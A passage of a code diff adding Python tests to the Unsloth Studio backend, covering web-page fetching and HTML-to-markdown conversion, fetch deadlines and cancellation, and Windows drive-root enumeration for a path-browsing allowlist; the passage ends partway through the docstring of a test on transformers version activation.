+def test_fetch_url_raw_missing_content_type_reported_empty(monkeypatch):
+    # Message.get_content_type() falls back to the RFC 2045 "text/plain" default
+    # when the header is absent; _fetch_url_raw must report "" instead so the HTML
+    # sniffing fallback can fire.
+    import email
+    import urllib.request
+
+    class _FakeResp:
+        headers = email.message_from_string("")
+
+        def __init__(self):
+            self._body = b"<html><body>hello</body></html>"
+
+        def read(self, n = -1):
+            # Hand back the body once, then EOF, so the chunked reader terminates.
+            body, self._body = self._body, b""
+            return body
+
+    class _FakeOpener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            return _FakeResp()
+
+    monkeypatch.setattr(
+        "core.inference.tools._validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _FakeOpener())
+    err, body, content_type = _fetch_url_raw("https://example.com/")
+    assert err is None
+    assert "hello" in body
+    assert content_type == ""
+
+
+def test_fetch_page_text_missing_content_type_html_sniffed(monkeypatch):
+    # A header-less server returning an HTML body must still be converted.
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/no-content-type")
+    assert "Unsloth Studio" in out
+    assert "<html" not in out
+    assert "Uh oh!" not in out
+
+
+def test_fetch_page_text_missing_content_type_fragment_converted(monkeypatch):
+    # A header-less server returning a bare HTML fragment (no <html>/doctype) must
+    # still be sniffed as HTML and converted, not served as raw markup.
+    fragment = "<article><h1>Doc Title</h1><p>Readable fragment body.</p></article>"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, fragment, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/fragment")
+    assert "Doc Title" in out
+    assert "Readable fragment body." in out
+    assert "<article" not in out
+
+
+def test_fetch_page_text_missing_content_type_plain_text_raw(monkeypatch):
+    # A header-less server returning plain text stays raw (whitespace kept).
+    raw = "line one\n    indented code\nline three"
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, raw, ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/no-content-type.txt")
+    assert "    indented code" in out
+
+
+def test_fetch_page_text_mislabeled_text_plain_html_converted(monkeypatch):
+    # An explicit text/plain header on an HTML body is sniffed and converted, like
+    # the pre-extraction behavior of always converting HTML pages.
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        return None, _GITHUB_PAGE, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://example.com/mislabeled")
+    assert "Unsloth Studio" in out
+    assert "<html" not in out
+
+
+# ── implicit-close past unclosed inline descendants (finding 14) ──
+
+
+def test_hidden_paragraph_with_inline_child_implicitly_closed_by_block():
+    # A browser closes an open <p> when a <div> arrives, even with an unclosed
+    # <span> on top of it. The hidden region must end there, not swallow the
+    # following visible blocks.
+    html = "<body><p hidden><span>secret<div>visible div</div><p>visible paragraph</body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible div" in out
+    assert "visible paragraph" in out
+
+
+def test_hidden_list_item_with_inline_child_closed_by_next_item():
+    html = "<body><ul><li hidden><span>secret<li>visible item</ul><p>after</p></body>"
+    out = html_to_markdown(html)
+    assert "secret" not in out
+    assert "visible item" in out
+    assert "after" in out
+
+
+# ── nested hidden list/table contents must stay suppressed ──
+
+
+def test_nested_hidden_list_does_not_leak_child_items():
+    # The nested <ul> re-scopes the item, so the inner <li> is a DESCENDANT of the
+    # hidden outer <li>, not an optional-close sibling. Optional-end-tag recovery
+    # must not cross the intervening <ul>, or the outer li's hidden mark is popped
+    # and the nested text leaks.
+    html = (
+        "<body><ul>"
+        "<li hidden>parent<ul><li>secret child</li></ul></li>"
+        "<li>visible sibling</li>"
+        "</ul></body>"
+    )
+    out = html_to_markdown(html)
+    assert "parent" not in out
+    assert "secret child" not in out
+    assert "visible sibling" in out
+
+
+def test_nested_hidden_list_with_omitted_closes_stays_suppressed():
+    # Same leak, doubly nested with omitted </li>/</ul>. Every hidden descendant
+    # stays gone; the following visible sibling (which implicitly closes the hidden
+    # outer <li>) still renders.
+    html = (
+        "<body><ul>"
+        "<li hidden>parent<ul><li>secret child<ul><li>deeper secret</ul></li></ul>"
+        "<li>visible sibling"
+        "</ul></body>"
+    )
+    out = html_to_markdown(html)
+    assert "parent" not in out
+    assert "secret child" not in out
+    assert "deeper secret" not in out
+    assert "visible sibling" in out
+
+
+def test_nested_hidden_table_does_not_leak_inner_cells():
+    # A nested <table> re-scopes <tr>/<td>: an inner <td> must not be an
+    # optional-close sibling of a hidden outer <td> across the nested table.
+    html = (
+        "<body><table><tr>"
+        "<td hidden>outer<table><tr><td>secret cell</td></tr></table></td>"
+        "<td>visible cell</td>"
+        "</tr></table></body>"
+    )
+    out = html_to_markdown(html)
+    assert "secret cell" not in out
+    assert "visible cell" in out
+
+
+# ── aggregate tiny <article> cards must not displace <main> (finding 15) ──
+
+
+def test_many_tiny_articles_do_not_displace_substantial_main():
+    cards = "".join(
+        f"<article><h2>Teaser {i}</h2><p>Advertisement card blurb.</p></article>" for i in range(12)
+    )
+    main_body = "Authoritative main documentation content. " * 30
+    html = f"<body>{cards}<main><h1>Real page</h1><p>{main_body}</p></main></body>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Authoritative main documentation content." in out
+    assert "Advertisement card blurb." not in out
+
+
+def test_single_substantial_article_still_preferred_over_main():
+    # GitHub-README case: one substantial <article> inside <main> must still win
+    # over sibling <main> furniture.
+    article_body = "Real README documentation body text. " * 20
+    html = (
+        "<body><main>"
+        f"<article><h1>Guide</h1><p>{article_body}</p></article>"
+        "<div><h2>Languages</h2><p>JavaScript 89.3%</p></div>"
+        "</main></body>"
+    )
+    out = html_to_markdown(html, main_content = True)
+    assert "Real README documentation body text." in out
+    assert "JavaScript 89.3%" not in out
+
+
+# ── truncated (unclosed) main-content scopes must still be scored ──
+
+
+def test_truncated_open_article_scope_is_scored_and_preferred():
+    # _fetch_url_raw caps large pages, so the download can end before the closing
+    # </article>. The scope is still the main content and must be preferred over the
+    # whole document (which re-leaks the page chrome).
+    chrome = "<nav>Skip to content</nav><div>Repository file tree and page chrome.</div>"
+    article_body = "Real README documentation body text. " * 20
+    # No closing </article> / </body> -- the fetch cap truncated the page.
+    html = f"<body>{chrome}<article><h1>Guide</h1><p>{article_body}</p>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Real README documentation body text." in out
+    assert "Repository file tree and page chrome." not in out
+
+
+def test_truncated_open_main_scope_is_scored_and_preferred():
+    chrome = "<nav>Skip to content</nav><div>Repository file tree and page chrome.</div>"
+    main_body = "Authoritative main documentation content. " * 30
+    html = f"<body>{chrome}<main><h1>Doc</h1><p>{main_body}</p>"
+    out = html_to_markdown(html, main_content = True)
+    assert "Authoritative main documentation content." in out
+    assert "Repository file tree and page chrome." not in out
+
+
+# ── overall fetch deadline + cancellation (no per-hop timeout blowup) ──
+
+
+def test_fetch_url_raw_overall_deadline_aborts_across_redirects(monkeypatch):
+    # Each hop advances a fake clock by 5s; an 8s overall budget is exhausted on the
+    # third hop even though every hop stays within its own socket timeout. Without
+    # the deadline this would redirect until the 5-hop cap, so the "timed out" error
+    # proves the overall budget aborted it, not the hop cap.
+    import urllib.request
+    from urllib.error import HTTPError
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    hops = {"n": 0}
+
+    class _RedirectingOpener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            clock["t"] += 5.0
+            hops["n"] += 1
+            raise HTTPError(
+                req.full_url,
+                302,
+                "Found",
+                {"Location": "https://example.com/next"},
+                None,
+            )
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _RedirectingOpener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/start",
+        timeout = 30,
+        deadline = clock["t"] + 8.0,
+    )
+    assert err == "Failed to fetch URL: timed out."
+    assert body == ""
+    assert hops["n"] < 5
+
+
+def test_fetch_url_raw_cancel_event_aborts_before_network(monkeypatch):
+    # A set cancel_event (client disconnected) stops the fetch before it opens any
+    # socket, so a dropped stream cannot leave a tool blocking on the wire.
+    import threading
+    import urllib.request
+
+    import core.inference.tools as tools_mod
+
+    ev = threading.Event()
+    ev.set()
+    opened = {"n": 0}
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            opened["n"] += 1
+            raise AssertionError("network must not be touched after cancel")
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _Opener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/",
+        cancel_event = ev,
+    )
+    assert err == "Failed to fetch URL: cancelled."
+    assert opened["n"] == 0
+
+
+def test_fetch_page_text_shares_one_deadline_across_readme_and_fallback(monkeypatch):
+    # The README API attempt and its HTML fallback must draw from ONE budget: a
+    # failed API call cannot hand the fallback a fresh full timeout.
+    seen_deadlines = []
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        seen_deadlines.append(deadline)
+        # Fail the README API so the HTML fallback also runs.
+        return "Failed to fetch URL: HTTP 429 rate limited", "", ""
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth", timeout = 30)
+    assert out == "Failed to fetch URL: HTTP 429 rate limited"
+    # Both attempts ran and shared the same, single deadline value.
+    assert len(seen_deadlines) == 2
+    assert seen_deadlines[0] is not None
+    assert seen_deadlines[0] == seen_deadlines[1]
+
+
+# -- overall deadline reaches the body read, the resolver, and the query path --
+
+
+def test_fetch_url_raw_deadline_aborts_slow_body(monkeypatch):
+    # A server dribbling the body must not stretch the read past the overall
+    # deadline: the body is read in chunks with the budget re-checked between them,
+    # so a single slow resp.read cannot outlast the fetch budget.
+    import email
+    import urllib.request
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    class _DrippingResp:
+        headers = email.message_from_string("")
+
+        def read(self, n = -1):
+            # One chunk, then jump the clock past the deadline so the next
+            # between-chunk budget check aborts instead of reading forever.
+            clock["t"] += 10.0
+            return b"x" * 16
+
+        def close(self):
+            pass
+
+    class _Opener:
+        def open(
+            self,
+            req,
+            timeout = None,
+        ):
+            return _DrippingResp()
+
+    monkeypatch.setattr(
+        tools_mod,
+        "_validate_and_resolve_host",
+        lambda host, port: (True, "", "203.0.113.7"),
+    )
+    monkeypatch.setattr(urllib.request, "build_opener", lambda *handlers: _Opener())
+
+    err, body, content_type = tools_mod._fetch_url_raw(
+        "https://example.com/",
+        timeout = 30,
+        deadline = clock["t"] + 5.0,
+    )
+    assert err == "Failed to fetch URL: timed out."
+    assert body == ""
+
+
+def test_resolve_with_budget_aborts_on_slow_resolver(monkeypatch):
+    # getaddrinfo has no deadline of its own; a resolver slower than the budget must
+    # abort on time instead of blocking the whole fetch.
+    import threading
+
+    import core.inference.tools as tools_mod
+
+    clock = {"t": 1000.0}
+    monkeypatch.setattr(tools_mod.time, "monotonic", lambda: clock["t"])
+
+    release = threading.Event()
+
+    def slow_resolve(host, port):
+        release.wait(5.0)  # block until released; the budget should abort first
+        return True, "", "203.0.113.7"
+
+    monkeypatch.setattr(tools_mod, "_validate_and_resolve_host", slow_resolve)
+
+    def advance_past_deadline():
+        import time as _t
+        _t.sleep(0.1)
+        clock["t"] += 100.0
+
+    t = threading.Thread(target = advance_past_deadline, daemon = True)
+    t.start()
+    try:
+        ok, reason, ip = tools_mod._resolve_with_budget(
+            "example.com",
+            443,
+            1005.0,
+            None,
+        )
+    finally:
+        release.set()
+    assert ok is False
+    assert reason == "Failed to fetch URL: timed out."
+
+
+def test_web_search_query_cancelled_skips_search(monkeypatch):
+    # A pre-set cancel_event (client disconnected) skips the blocking DDGS query,
+    # matching the direct-URL path's cancellation.
+    import sys
+    import threading
+    import types
+
+    import core.inference.tools as tools_mod
+
+    ev = threading.Event()
+    ev.set()
+    called = {"n": 0}
+
+    class _DDGS:
+        def __init__(self, *a, **k):
+            called["n"] += 1
+
+        def text(self, *a, **k):
+            called["n"] += 1
+            return []
+
+    fake_mod = types.ModuleType("ddgs")
+    fake_mod.DDGS = _DDGS
+    monkeypatch.setitem(sys.modules, "ddgs", fake_mod)
+
+    out = tools_mod._web_search("some query", cancel_event = ev)
+    assert out == "Search cancelled."
+    assert called["n"] == 0
+
+
+def test_fetch_page_text_markdown_readme_with_leading_block_tag_stays_markdown(monkeypatch):
+    # A raw-Markdown README that OPENS with an HTML block tag (<blockquote>, <ul>,
+    # <pre>, ...) must not be run through html_to_markdown, which would collapse its
+    # headings/list/fence. Only a real HTML document (doctype / <html>) is converted.
+    md_readme = (
+        "<blockquote>Note: pre-release.</blockquote>\n\n"
+        "# My Project\n\n"
+        "Install:\n\n"
+        "- step one\n"
+        "- step two\n\n"
+        "```bash\npip install myproject\n```\n"
+    )
+
+    def fake_fetch(
+        url,
+        timeout = 30,
+        extra_headers = None,
+        deadline = None,
+        cancel_event = None,
+    ):
+        assert url == "https://api.github.com/repos/unslothai/unsloth/readme"
+        return None, md_readme, "text/plain"
+
+    monkeypatch.setattr("core.inference.tools._fetch_url_raw", fake_fetch)
+    out = _fetch_page_text("https://github.com/unslothai/unsloth")
+    assert "README of https://github.com/unslothai/unsloth" in out
+    # Markdown structure survives verbatim (heading, list, fenced code).
+    assert "# My Project" in out
+    assert "- step one" in out
+    assert "```bash" in out
+
+
+def test_looks_like_html_document_only_matches_real_documents():
+    from core.inference.tools import _looks_like_html_document
+
+    assert _looks_like_html_document("<!doctype html><html><body>x</body></html>")
+    assert _looks_like_html_document("\n  <HTML lang='en'>")
+    assert _looks_like_html_document("<body><h1>x</h1></body>")
+    # Block tags a Markdown README can open with are NOT full documents.
+    for frag in (
+        "<blockquote>q</blockquote>",
+        "<ul><li>x</li></ul>",
+        "<pre>x</pre>",
+        "<dl><dt>x</dt></dl>",
+    ):
+        assert not _looks_like_html_document(frag), frag
diff --git a/studio/backend/tests/test_windows_external_drive_paths.py b/studio/backend/tests/test_windows_external_drive_paths.py
new file mode 100644
index 0000000000..9686d45c9f
--- /dev/null
+++ b/studio/backend/tests/test_windows_external_drive_paths.py
@@ -0,0 +1,354 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from __future__ import annotations
+
+import ast
+import os
+import sys
+from pathlib import Path
+from types import SimpleNamespace
+from typing import Optional
+
+from utils.paths import external_media
+
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+class _HTTPException(Exception):
+    def __init__(self, status_code: int, detail: str):
+        super().__init__(detail)
+        self.status_code = status_code
+        self.detail = detail
+
+
+def _extract_routes_function(name: str, ns_extra: Optional[dict] = None) -> dict:
+    """Exec one top-level function from routes/models.py without importing the module (which pulls in FastAPI)."""
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    fn = next(node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name == name)
+    module = ast.Module(body = [fn], type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"os": os, "Path": Path, "Optional": Optional}
+    if ns_extra:
+        ns.update(ns_extra)
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    return ns
+
+
+def _stub_windows(monkeypatch, existing_drives):
+    """Simulate Windows exposing only *existing_drives* (e.g. {"C", "D"}) as readable roots, independent of the host FS.
+
+    Overriding _active_windows_drive_bitmask keeps it deterministic even on a
+    real Windows host, where live GetLogicalDrives would return the actual layout."""
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    mask = sum(1 << (ord(d.upper()) - ord("A")) for d in existing_drives)
+    monkeypatch.setattr(external_media, "_active_windows_drive_bitmask", lambda: mask)
+    present = {f"{d.upper()}:\\" for d in existing_drives}
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: str(p) in present)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: str(p) in present)
+
+
+def test_windows_drive_roots_empty_off_windows(monkeypatch):
+    # Regression guard: the helper is a no-op on Linux/macOS so it can't change the allowlist on the platforms CI runs on.
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    assert external_media.windows_drive_roots() == []
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Darwin")
+    assert external_media.windows_drive_roots() == []
+
+
+def test_windows_drive_roots_lists_readable_drives(monkeypatch):
+    _stub_windows(monkeypatch, {"C", "D", "E"})
+
+    roots = external_media.windows_drive_roots(drive_letters = "CDEF")
+
+    # F is absent, so it is skipped; the rest are exposed in order.
+    assert roots == [Path("C:\\"), Path("D:\\"), Path("E:\\")]
+
+
+def test_windows_drive_roots_skips_absent_and_unreadable(monkeypatch):
+    _stub_windows(monkeypatch, {"C"})
+
+    roots = external_media.windows_drive_roots(drive_letters = "CDE")
+
+    assert roots == [Path("C:\\")]
+
+
+def test_windows_drive_roots_ignores_bad_letters_and_dedupes(monkeypatch):
+    _stub_windows(monkeypatch, {"C", "D"})
+
+    roots = external_media.windows_drive_roots(
+        drive_letters = ["c:", "C", "D", "1", "AB", "", "  d  "],
+    )
+
+    assert roots == [Path("C:\\"), Path("D:\\")]
+
+
+def test_readable_dir_within_times_out(monkeypatch):
+    # A probe that outlives the timeout is reported not-readable, so a hung
+    # (disconnected mapped network) drive is skipped instead of blocking.
+    import time
+
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: time.sleep(5) or True)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+    start = time.monotonic()
+    ok = external_media._readable_dir_within("Z:\\", timeout = 0.2)
+    elapsed = time.monotonic() - start
+    assert ok is False
+    assert elapsed < 3.0  # returned on the timeout, did not wait out the 5s stall
+
+
+def test_readable_dir_within_reports_fast_probe(monkeypatch):
+    monkeypatch.setattr(external_media.os.path, "isdir", lambda p: True)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+    assert external_media._readable_dir_within("C:\\", timeout = 2.0) is True
+
+
+def test_windows_drive_roots_skips_hung_drive(monkeypatch):
+    # A disconnected mapped drive stays set in the bitmask and its os.path.isdir
+    # stalls; it must be skipped without stalling enumeration. C answers, D hangs,
+    # so only C is listed, bounded by the per-drive timeout, not the stall.
+    import time
+
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        external_media,
+        "_active_windows_drive_bitmask",
+        lambda: sum(1 << (ord(d) - ord("A")) for d in "CD"),
+    )
+    monkeypatch.setattr(external_media, "_DRIVE_PROBE_TIMEOUT_S", 0.2)
+
+    def _isdir(p):
+        if str(p) == "D:\\":
+            time.sleep(5)  # simulate the reconnect stall
+            return True
+        return str(p) == "C:\\"
+
+    monkeypatch.setattr(external_media.os.path, "isdir", _isdir)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+
+    start = time.monotonic()
+    roots = external_media.windows_drive_roots(drive_letters = "CD")
+    elapsed = time.monotonic() - start
+
+    assert roots == [Path("C:\\")]
+    assert elapsed < 3.0  # bounded by the per-drive timeout, not the 5s stall
+
+
+def test_windows_drive_roots_probes_hung_drives_in_parallel(monkeypatch):
+    # Several disconnected mapped drives must add ~one timeout total, not one
+    # per drive: C answers fast, D/E/F stall. The concurrent probe stays bounded
+    # by a single deadline where serial probing would cost ~4x the timeout.
+    import time
+
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        external_media,
+        "_active_windows_drive_bitmask",
+        lambda: sum(1 << (ord(d) - ord("A")) for d in "CDEF"),
+    )
+    timeout = 0.2
+    monkeypatch.setattr(external_media, "_DRIVE_PROBE_TIMEOUT_S", timeout)
+
+    def _isdir(p):
+        if str(p) == "C:\\":
+            return True
+        time.sleep(5)  # every other drive simulates a reconnect stall
+        return True
+
+    monkeypatch.setattr(external_media.os.path, "isdir", _isdir)
+    monkeypatch.setattr(external_media.os, "access", lambda p, _mode: True)
+
+    start = time.monotonic()
+    roots = external_media.windows_drive_roots(drive_letters = "CDEF")
+    elapsed = time.monotonic() - start
+
+    assert roots == [Path("C:\\")]
+    # 3 stalled drives probed in parallel finish within ~1 timeout, well under the ~3*timeout a serial probe would take.
+    assert elapsed < 3 * timeout
+
+
+def test_browse_allowlist_includes_windows_drive_roots(monkeypatch, tmp_path):
+    # End-to-end wiring: windows_drive_roots() output flows into the browse
+    # allowlist built by routes/models.py, mirroring the Linux media-mounts test.
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    function_names = {
+        "_build_browse_allowlist",
+        "_browse_relative_parts",
+        "_is_path_inside_allowlist",
+        "_match_browse_child",
+        "_normalize_browse_request_path",
+        "_resolve_browse_target",
+    }
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in function_names
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    home = tmp_path / "home"
+    drive_root = tmp_path / "D_drive"
+    model_dir = drive_root / "modelsAI" / "gguf"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = lambda: [],
+        windows_drive_roots = lambda: [drive_root],
+    )
+    fake_studio_db = SimpleNamespace(
+        list_scan_folders = lambda: [],
+        contains_sensitive_path_component = lambda _p: False,
+        # The simulated D:\ root maps to a tmp_path dir, not a denied system path.
+        is_denied_system_path = lambda _p: False,
+    )
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "HTTPException": _HTTPException,
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+
+    allowlist = ns["_build_browse_allowlist"]()
+
+    # The simulated Windows drive root is now browsable, and a model dir on it resolves.
+    assert drive_root.resolve() in allowlist
+    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+
+
+def test_build_browse_allowlist_reuses_passed_roots(monkeypatch, tmp_path):
+    # Double-probe fix: a browse request probes the drive/media roots once and
+    # passes them in, so _build_browse_allowlist must NOT scan
+    # windows_drive_roots() again (a disconnected drive would double the stall).
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_build_browse_allowlist"
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    drive_root = tmp_path / "D_drive"
+    drive_root.mkdir()
+
+    calls = {"drive": 0, "media": 0}
+
+    def _drive_roots():
+        calls["drive"] += 1
+        return [drive_root]
+
+    def _media_roots():
+        calls["media"] += 1
+        return []
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = _media_roots,
+        windows_drive_roots = _drive_roots,
+    )
+    fake_studio_db = SimpleNamespace(list_scan_folders = lambda: [])
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+    build = ns["_build_browse_allowlist"]
+
+    # Roots passed in -> neither helper is probed, but the roots still flow in.
+    allowlist = build([], [drive_root])
+    assert calls == {"drive": 0, "media": 0}
+    assert drive_root.resolve() in allowlist
+
+    # No args -> each helper is probed exactly once.
+    build()
+    assert calls == {"drive": 1, "media": 1}
+
+
+def test_is_path_inside_allowlist_real_descendants_and_siblings(tmp_path):
+    # Component-wise containment (commonpath): a genuine descendant is allowed,
+    # but a sibling sharing only a string prefix ("models_root_evil" vs
+    # "models_root") is not, which the old startswith check could miss.
+    ns = _extract_routes_function("_is_path_inside_allowlist")
+    root = tmp_path / "models_root"
+    child = root / "gguf" / "qwen"
+    sibling = tmp_path / "models_root_evil"
+    child.mkdir(parents = True)
+    sibling.mkdir()
+
+    is_inside = ns["_is_path_inside_allowlist"]
+    assert is_inside(root, [root]) is True  # the root itself
+    assert is_inside(child, [root]) is True  # a genuine descendant
+    assert is_inside(sibling, [root]) is False  # prefix-collision sibling
+
+
+def test_is_path_inside_allowlist_posix_root_does_not_authorize_descendants(monkeypatch):
+    # Regression for the reported POSIX "/" unlock: a bare filesystem root may
+    # match itself but must NOT authorize arbitrary descendants such as /etc.
+    ns = _extract_routes_function("_is_path_inside_allowlist")
+    monkeypatch.setattr(os.path, "realpath", lambda p: str(p))  # keep "/" intact
+
+    is_inside = ns["_is_path_inside_allowlist"]
+    assert is_inside("/", ["/"]) is True  # the root itself
+    assert is_inside("/etc", ["/"]) is False  # not a licensed descendant
+    assert is_inside("/root/models", ["/"]) is False
+
+
+def test_is_path_inside_allowlist_windows_drive_root_descendants():
+    # Exercise the Windows drive-root branch on a POSIX host by backing os.path
+    # with ntpath and an identity realpath (the simulated drives don't exist
+    # here). A drive root authorizes its descendants; a different drive does not.
+    import ntpath
+
+    win_os = SimpleNamespace(
+        sep = "\\",
+        path = SimpleNamespace(
+            normcase = ntpath.normcase,
+            realpath = lambda p: str(p),
+            splitdrive = ntpath.splitdrive,
+            dirname = ntpath.dirname,
+            commonpath = ntpath.commonpath,
+        ),
+    )
+    ns = _extract_routes_function("_is_path_inside_allowlist", {"os": win_os})
+    is_inside = ns["_is_path_inside_allowlist"]
+
+    assert is_inside("D:\\", ["D:\\"]) is True  # drive root itself
+    assert is_inside("D:\\models", ["D:\\"]) is True  # descendant on the drive
+    assert is_inside("D:\\models\\gguf", ["D:\\"]) is True  # deeper descendant
+    assert is_inside("d:\\models", ["D:\\"]) is True  # case-insensitive drive letter
+    assert is_inside("C:\\Users", ["D:\\"]) is False  # different drive
+    assert is_inside("D:\\models", ["E:\\"]) is False
diff --git a/studio/backend/tests/test_worker_activates_correct_transformers.py b/studio/backend/tests/test_worker_activates_correct_transformers.py
new file mode 100644
index 0000000000..fe7b8dd25a
--- /dev/null
+++ b/studio/backend/tests/test_worker_activates_correct_transformers.py
@@ -0,0 +1,155 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Invariant: after the training worker runs its preflight and then activates the transformers
+sidecar, the in-process ``transformers`` must be the sidecar version the model requires -- not the
+default 4.57.x that the base environment ships.
+
+The CPU-only "does it choose the correct transformers version" guard, stronger than the pure
+import-order check in ``test_training_worker_import_discipline.py``: it runs the REAL tier detection
+(``get_transformers_tier``) and REAL activation (``activate_transformers_for_subprocess``) for a
+transformers-5.x model (Qwen3.5, tier 530) and asserts the version actually switched. It catches the
+whole failure family at once:
+
+  * a stale pre-activation ``transformers`` import (the #6951 / ``TokenizersBackend`` regression: an
+    already-cached 4.57.x defeats the sidecar's ``sys.path`` prepend),
+  * a wrong tier selected for a 5.x model, and
+  * activation not actually swapping the resident module.
+
+Why the CUDA spoof matters (verified): ``unsloth_zoo``'s eager ``import transformers`` only happens on
+its full, GPU-present init path. On a GPU-less runner it silently degrades and never preloads
+transformers -- which would MASK the stale-import bug (the check would falsely pass). Spoofing
+``torch.cuda`` so ``unsloth_zoo`` believes a GPU is present forces the real init path, exposing the
